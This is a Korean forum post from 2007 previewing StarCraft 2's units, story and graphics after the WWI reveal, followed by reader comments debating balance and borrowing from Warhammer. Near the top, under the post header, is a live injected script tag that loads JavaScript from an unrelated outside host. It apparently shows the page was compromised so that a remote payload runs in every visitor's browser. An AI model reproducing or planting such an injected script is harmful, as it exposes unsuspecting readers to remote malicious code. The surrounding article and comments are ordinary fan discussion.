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[프리뷰]

스타크래프트 2

글쓴이 : betagam 날짜 : 2007-07-05 (목) 16:49 조회 : 28652


<SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script>

‘드디어 올 것이 왔군.’

스타크래프트 2(이하 스타2)의 발표를 적절히 설명하는 듯한 이 대사는 바로 지난 5월 19일, 블리자드 월드와이드 인비테이셔널(WWI) 행사장에서 발표된 티저 영상에서 거창하게 장비를 갖춘 테란 마린 ‘타이커스 핀들레이’(WWI에서 한정판으로 예약 받았던 바로 그 스태츄의 주인공이기도 하다)가 내뱉는 말이다. 헬멧 안에서까지 담배를 피면서 말이다. =) 정말 스타2의 등장을 이렇게 완벽하게 표현한 말은 없을 것이다.

‘충격과 공포다!’의 스타크래프트 2 버전

1998년, 스타크래프트가 발매된 당시만 하더라도 워크래프트 2에 이은 블리자드의 새로운 시도 정도로 여겨졌던 게임이었지만, 빈틈 없는 스토리와 세 진영의 조화가 완벽한 게임성, 빠른 속도감의 멀티 플레이, PC방 붐 등 국내 게임시장의 모든 여건이 마치 스타크래프트를 위해 존재하기라도 하듯 어느 것 하나 부족함이 없어 결국 다른 PC 게임들을 모두 잡아먹었다고(?) 해도 과언이 아닐 만큼 대단한 인기몰이를 해버렸다. 스타 리그를 통해 탄생한 프로게이머 영웅들을 굳이 들먹이지 않아도 스타크래프트는 98년 발매부터 지금까지 거의 10년간 국내 게임업계의 ‘스타’로 군림하고 있었던 것은 부인할 수 없는 사실인 것이다.

그 동안 수없이 등장했던 루머나 많은 매체의 예측 보도로 미루어보아도 스타2의 등장은 필연적인 일이 아니었을까 싶다. 단지 그 시기가 문제였을 뿐! 어쨌든 게임판 시계는 5월 19일 2시 이후로도 돌고 돌아 초반 자료가 어느 정도 공개된 상태이니 이 정보들을 토대로 스타2가 어떤 모습을 하고 있는지 들여다 보기로 하자.

10년 세월에 대한 기대감 or 실망감

먼저, 스타2를 받아들이는 데 있어서 우리나라와 해외의 느낌 자체의 차이가 있다는 것을 알고 있으면 좋을 것 같다. 한국의 경우 거의 대부분 환영하는 분위기에 게이머들끼리 ‘멋지다’, ‘실망스럽다’ 등의 찬반양론이 나오고 있다. 하지만 해외에서는 매체에서마저 시큰둥한 반응을 엿볼 수 있다.

이건 아마도 환경의 차이에서 비롯된 것이 아닐까 싶다. 우리나라에서는 10년이 가까운 세월이 흐른 지금까지 게임방송에서 하루 종일 스타 중계를 하다시피 하고, 여전히 스타 프로 게이머들은 연예인에 가까운 인기를 끈다. 스타를 즐기는 많은 사람들이 스타 외에는 거의 게임을 하지 않는 경우가 많다. 그만큼 스타는 한국 사람들 가까이에 있다.

반면, 한국을 제외한 미국이나 유럽 등지에서는 스타는 그저 10년 된 베스트셀러 RTS의 하나일 뿐이다. 그 긴 세월 동안 RTS 게임은 무수히 많이도 나왔다. 바로 올해 초만 해도 ‘수프림 커맨더’부터 ‘커맨드 앤 컨커 3’ 같은 걸작들이 넘쳐나지 않았던가. 한국인들은 지금도 재미있게 즐기는 게임의 신작이라고 생각하고 해외에서는 무려 10년만에 나오는 후속작이라고 느끼는 시간차. 이것이 상반된 반응의 원인이 아닐까 필자는 생각하고 있다.

캐리건의 뒤를 잇는 영웅들의 등장에 기대

‘밥 먹고 한판?’이 스타를 의미하는 대표적인 문구가 되기 전, 스타의 싱글 플레이 스토리는 흥미진진하기로 유명했다. 사람들이 스타의 묘미에 푹 빠지게 만들었던 멋진 스토리는 스타2에도 고스란히 이어진다. 스타의 확장팩 ‘브루드 워’에서 연결되는 스토리가 스타2의 기본 싱글 플레이 캠페인 미션을 구성하게 되는데, 전편에서 우주의 가장 강력한 존재가 되어버린 캐리건의 뒤를 잇는 영웅이 과연 누가 되고 얼마나 등장할 것인지가 관심의 대상이다.

프로토스와 저그의 능력을 합쳐서 만들려고 했던 궁극의 생명체 ‘다크 템플러’의 수장 ‘제라툴’ 등 전편에 모습을 드러냈던 영웅들이 모두 다른 형태로 등장한다고 하고, 여기에 새로이 스타2만의 영웅들도 나올 것이라고 하니 영웅들의 이야기가 독특한 재미를 주는 블리자드 특유의 스토리를 기대해도 좋을 법하다.

제라툴 님도 그럴 듯하게 등장하실 예정

가위-위-보 상성과 수퍼웨폰의 등장, 적절한 ‘진화’

게임 플레이와 관련해서는 여전히 테란, 프로토스, 저그의 세 종족 간의 싸움에 新종족은 전혀 등장하지 않는다는 사실이 알려지면서 팬들의 실망을 자아냈지만, 후속작에 걸 맞는 발전된 모습으로 팬들을 안심시키고 있다. 전체적인 전투 양상을 살펴 보면 전작보다 훨씬 상성이 엄격해진 유닛 배치 때문에 훨씬 전략적인 플레이를 구사할 수 있게 된 듯하다.

물론 10년 만에 이 정도 변화는 지극히 당연한 결과일 수도 있겠지만, 한 유닛만으로 구성된 부대는 절대 상대편에 우위를 점할 수 없도록 바뀌었으며, 다양한 특성을 가진 부대의 구성은 필수 요소가 되었다. 능력이 조금 딸려도 수로 밀어붙여 상대의 허를 찌르는 플레이는 완전히 자취를 감출 듯 하다.

WWI에서 공개된 플레이 시연을 잠시 돌이켜 보면 우선 프로토스의 거상과 테란 마린의 강화형인 강습병의 점프팩 기능 때문에 어느 정도의 고저차는 극복하고 이동할 수 있게 되었으므로 흔히 ‘전운’이라 불리던 ‘Fog of War’를 이용한 정찰의 중요성이 약간 퇴색될 수도 있을 것이란 생각이 든다.

강습병은 점프팩을 이용해 자유롭고 신속한 이동이 가능

저글링은 기본 상태에서는 전작과 마찬가지로 떼로 공격하지 않으면 가장 약한 유닛이 될 수 있지만 ‘진화’라는 새로운 기능을 거쳐 상대에게 산성 및 폭파 데미지를 줄 수 있게 변해버렸다. 또 프로토스에게는 천금 같은 희소식이 있는데 테란의 시즈 탱크와 같은 강한 공격력을 갖고 있는 ‘이모털’의 등장이다. 이모털은 강력한 공격기능에다 쉽게 부서지지 않는 실드도 가지고 있어 향후 프로토스의 핵심 유닛으로 부상할 가능성이 높아 보인다.

시즈 탱크의 공격력 정도면 이모털의 방어막을 가동시킬 수 있다. 이제 끝이다!

이 밖에 무수한 저글링 떼의 공격을 프로토스의 새로운 유닛인 콜로서스를 통해 새로운 ‘지짐이(싸이온스톰?)’ 공격으로 무력화시킬 수 있다거나 베인링으로 진화한 저글링 떼의 공격을 그 긴 다리를 이용, 한 단계 높은 지형으로 피해 위기를 모면하는 등(저글링과 베인링은 평지로 밖에 이동할 수 없다) 다양한 상성이 존재하도록 바꿔놓았다.

저글 저글 저글…. 유닛 제한은 200에서 300으로 대폭 늘었다

또 이번 시연에서는 올드 팬과 신규 팬들을 모두 만족시킬 수 있도록 전작의 유닛 ? 질럿, 마린, 저글링, 배틀크루저 등 - 을 그대로 유지하면서 기능을 좀 더 강화하고, 완전히 새로운 유닛을 개발하는 등 새로운 팬들까지 대거 흡수하고자 하는 개발사의 노력이 돋보이고 있다.

한편, 시연에서는 프로토스의 모선만 등장했지만, 이렇게 각 종족별로 최후의 강력한 공격을 쓸 수 있는 최종 유닛의 등장은 스타의 세계관에서 볼 때는 새로운 것이라 할 수 있다. 시연에서 보여준 프로토스 모선의 공격인 시간폭탄과 블랙홀은 많은 사람들에게 강한 인상을 남겼다.

프로토스의 기술력 진보의 상징인 공간이동

각 종족별로 한 척만 보유할 수 있고 건조에 엄청난 양의 자원이 필요하다는 것, 특수공격 사용에는 역시 굉장한 에너지 소모가 된다는 것 등 핸디캡이 많지만 이러한 수퍼웨폰의 존재 자체가 게임을 일거에 뒤집을 수 있는 ‘깜짝쇼’를 연출할 수 있다는 점에서 스타2의 새로운 흥행요소로 자리잡을 수 있을 것이다.

하지만 ‘혁신’은 어디에?

회전, 줌인, 줌 아웃이 자유로운 풀 3D 그래픽, 파괴되는 유닛의 파편이 비탈길을 굴러 떨어지거나 저 지도 아래로 우수수 떨어지는 물리효과 적용 등 화려한 그래픽적인 진화와 더불어 완벽한 상성을 추구하는 유닛 디자인 등 스타2의 볼거리는 참으로 많지만, 해외 많은 매체에서 지적하고 있는 ‘혁신이 없다’는 불평은 어느 정도 이해할 만 하다.

공중 유닛의 전투도 지상 전투와 마찬가지로 다를 바 없다. 상성만 바뀔 뿐이다

서두에도 언급했지만 스타2는 10년만에 등장한 후속작인데, 작년 말과 올해 초에 일제히 뚜껑을 열었던 RTS 기대작들이 비약적인 발전을 보여주는 혁신적인 면을 한 두 가지씩은 있었던 점(국지전 정도의 엄청난 스케일 전투를 별 불편 없이 즐길 수 있게 된 수프림 커맨더의 예를 보라)과 비교하면 스타2의 진화 정도로는 만족하지 못할 수도 있을 것이다.

가위-바위-보 식의 유닛 상성, 모선과 수퍼웨폰의 존재, 각 유닛의 디자인 등은 이미 기존의 RTS에 등장했던 것들뿐이다. 여담이지만 프로토스의 신 유닛인 불사신(이모털)의 디자인과 전투 방식은 스타워즈 팬인 필자에게는 에피소드 1에 등장했던 강력 실드로 무장한 배틀 드로이드를 연상케 한다.

거상의 유닛 디자인도 아주 새로운 것은 아니다. 하프라이프 2에서 나왔던가?

자원의 종류와 활용도에 대해서는 아직까지 아무런 내용이 공개되지 않았다. 시연용 화면에서는 1편과 마찬가지로 미네랄과 가스 정도만 보일 뿐이었다. 풀 3D라고는 해도 실제 맵과 전투 자체는 평면에 그치고 있다. 맵 아래로 보이는 각종 행성과 운석들은 그저 장식일 뿐인 것이다. 스타워즈 포스 커맨더나 홈월드에서 보여줬던 풀 3D 전투는 스타2에서는 구경할 수 없는 것인가?

극단적인 시각에서 보면, 이러한 스타2의 모습은 20분 내의 빠른 페이스를 가지는 배틀넷 멀티 플레이에 최적화된 한국 게이머들의 취향을 적극적으로 반영해, 앞으로도 스타2를 가지고도 10년 동안 즐겨달라는 블리자드의 ‘의도적인 개발 방향’으로 볼 수도 있는 것 아닐까 하는 생각이 든다.

프로토스 모선의 스페셜 어택 중 하나인 전체 공격 ?

아직까지 스타2의 개발 일정은 미정으로 공개되지 않은 많은 부분이 남아있긴 하겠지만, 지난 5월 19일 보여준 시연 장면 정도의 플레이가 완전히 변할 것으로는 생각되지 않는다. ‘충분한 진화는 거쳤으나 완전한 혁신은 이루지 못한 것 같다’는, 10년만의 2편으로는 조금 부족해 보인다는 불평 불만도 설득력 있게 들린다. 일부 게이머들이 원하는 스타2의 혁신은 ‘완전히 새로운 형태의 싱글 플레이 캠페인’이라는 개발사의 홍보문구에서 기대할 수도 있을 것 같긴 하다 ^^

하지만 여전히 실망보다는 기대에 훨씬 무게 중심이 실리는 스타2다

하지만 우리는 블리자드의 ‘개발력’을 믿고 싶다

과거 스타 개발 초기에 공개되었던 단순히 워크래프트의 스샷에 스타 유닛만 교체한 스크린샷 한장의 모습을 기억하는 독자라면 정작 스타가 발매되었을 때의 모습에 깜짝 놀랐을 것이다. 월드 오브 워크래프트(이하 WOW)가 처음 소개되었을 때 나왔던 스크린샷 몇 점을 기억하는 독자라면, 일반 MMORPG에 워크래프트 세계관만 넣은 정도로 생각했던 WOW가 최종적으로 얼마나 대단한 게임으로 탄생했는지 기억할 것이다.

블리자드 엔터테인먼트는 이렇듯 새로운 게임을 내놓을 때마다 팬들을 깜짝 놀라게 했다는 것을 기억하자. 필자가 앞에서 열거했던 많은 걱정거리와 불평들은 정작 스타2가 발매된 이후에는 완전히 ‘개소리’가 될 지도 모를 일이다. 시연의 마지막 부분에 등장했던 ‘GG(굿 게임)’ 메시지처럼, 내년 언제쯤인가 발매될(어쨌든 올해 발매는 힘들 테니) 스타2가 지금 걱정에 쌓인 필자를 완전히 ‘GG’ 치게 만들 것을 기대해 본다.

김용식(dvader29)


포니테일 MEO (219.♡.184.245) 2007-07-06 (금) 19:04
블리자드야 짜집기를 잘하니

스토리는 가장 탄탄한 워해머에서 따왔으니

다영한거고;;
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파라월드 (123.♡.47.22) 2007-07-06 (금) 23:17
다른건 다 좋아요 ~

다만 아동틱한 그래픽과 타격감만 업그레이드를 ,,,,,,,,,,,,,,;;
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곰팅이 (58.♡.176.213) 2007-07-09 (월) 11:37
이렇다할 종족 추가도 없고...단지 3D 그래픽에 유닛 몇가 추가된 거 뿐이라...
기대했던거에 비해 많이 실망했습니다. 굳이 완벽하게 돌아가고 있는 스타 1 놔두고
스타2 로 갈 필요가 있는지 의문입니다. 또 밸런스 문제 스타2 나오고 한 4-5년은 돌려야 지금
스타 1 만한 밸런스가 나올겁니다.  밸런스가 하루아침에 이뤄지는건 아니기 때문에...
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지름신의강림 (58.♡.214.231) 2007-07-10 (화) 07:42
3d 라는 것만으로도 넘어갈 가치는 충분. 빨리 나왔으면 좋겠네요.
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Free★Style™ (122.♡.110.3) 2007-07-11 (수) 06:32
곰팅이님이 말씀하시는 종족의 추가라는게 밸런스의 붕괴를 초래할수도 있다는 말을
스타2 관련소식을 통해 얼핏 들은거 같네요..종족추가로 밸런스의붕괴냐 아니면 새로운
후속작의 탄생이라는 양날의 검을 가지고 있기 때문에..(스타 밸런스 망가지면 세상의
졸작도 이런 졸작이 없게 됩니다..무적유닛이 없다는게 스타의 매력이잖아요..)
글쎄요..제생각에는 블리자드가 괜한 도박을 한다기 보다는 스타1의 명성의 똥칠하지
않기 위해..기존종족을 그대로 유지한다는 안전빵을 택한거 같은거 테요..
암튼 전 스타2 엄청 기대하고 있습니다..ㅎㅎ플토유저로서 플토 유닛부터 공개해준것도
감사할 따름이구용..^^
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바람피리 (124.♡.239.238) 2007-07-19 (목) 19:16
엄.... 모선 같은 최종병기유닛은 프토만 있다고 인터뷰에서 본듯한데...;
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과일나라 (222.♡.97.151) 2007-07-19 (목) 19:18
예전부터 생각해 온거지만 후속작이 나오면 새로운 종족이 추가되어야 한다는 공식은 없습니다...ㅡ.ㅡ;;
그리고 블리자드가 안될게임은 다 만들어놔도 프로젝트를 중지 시킬정도니까요..
그래픽엔진이야 벌써 개발이 되었다지만, 분명 시스템면에서 많은 것들이 바뀔것이라 믿어 의심치 않습니다.
아직 나오지도 않은 게임을 평가하는건 시기상조이므로...앞으로 스타2가 어떻게 만들어지고 출시될 것인지
기달려봅시다.
그리고 꼭 워해머랑 같이 걸고 넘어지는 분들이 계신데..ㅡ.ㅡ;
전반적인 부분을 따왔다고 해서 스타가 워해머가 되는건 아닙니다.
워해머가 더 뛰어났다면, 당연히 워해머가 국내에서 성공했어야하겠죠..
즐기는 사람의 관점에선 어떤게 더 재미있으냐지,
어느 게임에서 무엇을 따온것을 비교하진 않습니다.
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에드 (121.♡.102.114) 2007-07-20 (금) 09:02
그래도 음성에 자막까지 한글화니...
나름 기쁠따름입니다 - _-//
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夜神月 (211.♡.139.110) 2007-07-23 (월) 12:32
타격감은 소리를 들어야 제대로 알 수 있죠
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뎅굴덩굴 (211.♡.111.196) 2007-07-24 (화) 09:38
워햄완전 빼끼네 점프팩에다가 그리고 거상유닛 완전 하프2에서 본넘이랑 똑같아
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처먹으울엠 (121.♡.158.18) 2007-08-01 (수) 05:13
스페이스마린이 말하길.. 표절 크래프트..라고 한다.
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명탐정조난 (125.♡.75.45) 2007-08-09 (목) 16:09
점팩은 뺏긴거 같은데 거상이랑 하프라이프에 나오던 그 로봇이랑 전혀 안닮았는데.... 다리 가느다랗고 길면 다 하프라이프에 그 로봇인가.. 하프라이프에 나오던 로봇은 우주전쟁에 나오는 외계인이 타고 다니던 로봇이랑 닮았던데.
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open case (121.♡.81.128) 2007-08-12 (일) 23:21
블리자드는 다른건 몰라도 그래픽쪽은 항상 좀 모잘랐죠...
스타도  동시대의 에이지오브 엠파이어보다 그래픽은 부족했고

스타2도 작년에 나왔던 3D RTS 여타 게임들에 비해 그래픽은 확실히 조금 모자른인상을 주네요.
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open case (121.♡.81.128) 2007-08-12 (일) 23:23
거대한 지상유닛도 하프라이프2 의 "스트라이더"와 비교를 하다니;; -_-
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위격전살 (125.♡.163.30) 2007-08-16 (목) 21:27
헐 이거 대실망이네요 -_- 워해머 대부분 배끼고 저아동틱한 그래픽;;;;;
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별이1 (221.♡.148.34) 2007-08-20 (월) 03:24
어찌됫던간에 우리나라에선 발매되자마자 발매일에 손익분기점은 월등히 뛰어넘을만큼의 판매량을 올릴것이 분명하기때문에 게임이 완전 개쓰레기졸작에 버그투성이에 알고보니 배틀넷도 제대로안되고 미션도 몇개없는 최악의 게임이라도 손해는 절대안보죠 블리자드는 -_-;  쓰레기 게임이라는게 알려지기도전에 우리나라에서 발매일에 바로 손익분기점을 넘어서니깐요
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별이1 (221.♡.148.34) 2007-08-20 (월) 03:26
사양때문에 피씨방으로 몰려올 손님들을위해서 전국 모든 피씨방에서 발매일에 바로 구매해서 피씨방에 깔게분명하니까-_-;
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쓰레빠 (221.♡.237.28) 2007-09-03 (월) 02:06
고고고 고고고
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ㅜㅐ투 (123.♡.107.73) 2007-09-11 (화) 16:24
ㅋㅋ 이모부털은 없나여
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painkilller (61.♡.47.158) 2007-10-13 (토) 09:26
유닛이야 거의 sf설정의 근간은 스타쉽트루퍼스 스타워즈 워해머40k가
거의 모든 기틀을 만들어놨기 때문에 뭐 더 생각을 아무리 열심히 해도
지금까지 나온 게임들을 봐도 무지막지하게 새로운건 나오기 힘들겁니다
애초에 스타만들면서 개발자들이 워해머40k의 팬이라고 밝힘과 동시에
많은 부분에서 설정 세계관 유닛 등등을 차용했고
돈오브워와 그래픽상으로 유사한건 돈오브워도 보드게임의 유닛들을
3D화 하고 스타도 보드게임워해머의 유닛을 카피해 3D화 한것이니까
그리고 게임즈워크샵에서도 워해머40k 돈오브워 같이 직접적으로
워해머란 이름을 걸고 나오는 게임이 아니면 , 카피나 표절등에
아무런 제지도 안합니다.. 어차피 보드게임 자체가 엄청나게 오래되고
인기가 끊길 수가 없기 때문에...손해볼일 없다는 것이죠..
하프2의 스트라이더도..어차피 옛날옛적 나온 SF 게임이나 영화의
오마쥬적인 모델입니다..
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suny7760 (118.♡.175.166) 2013-08-28 (수) 16:31
스타2 재밌어보이네요
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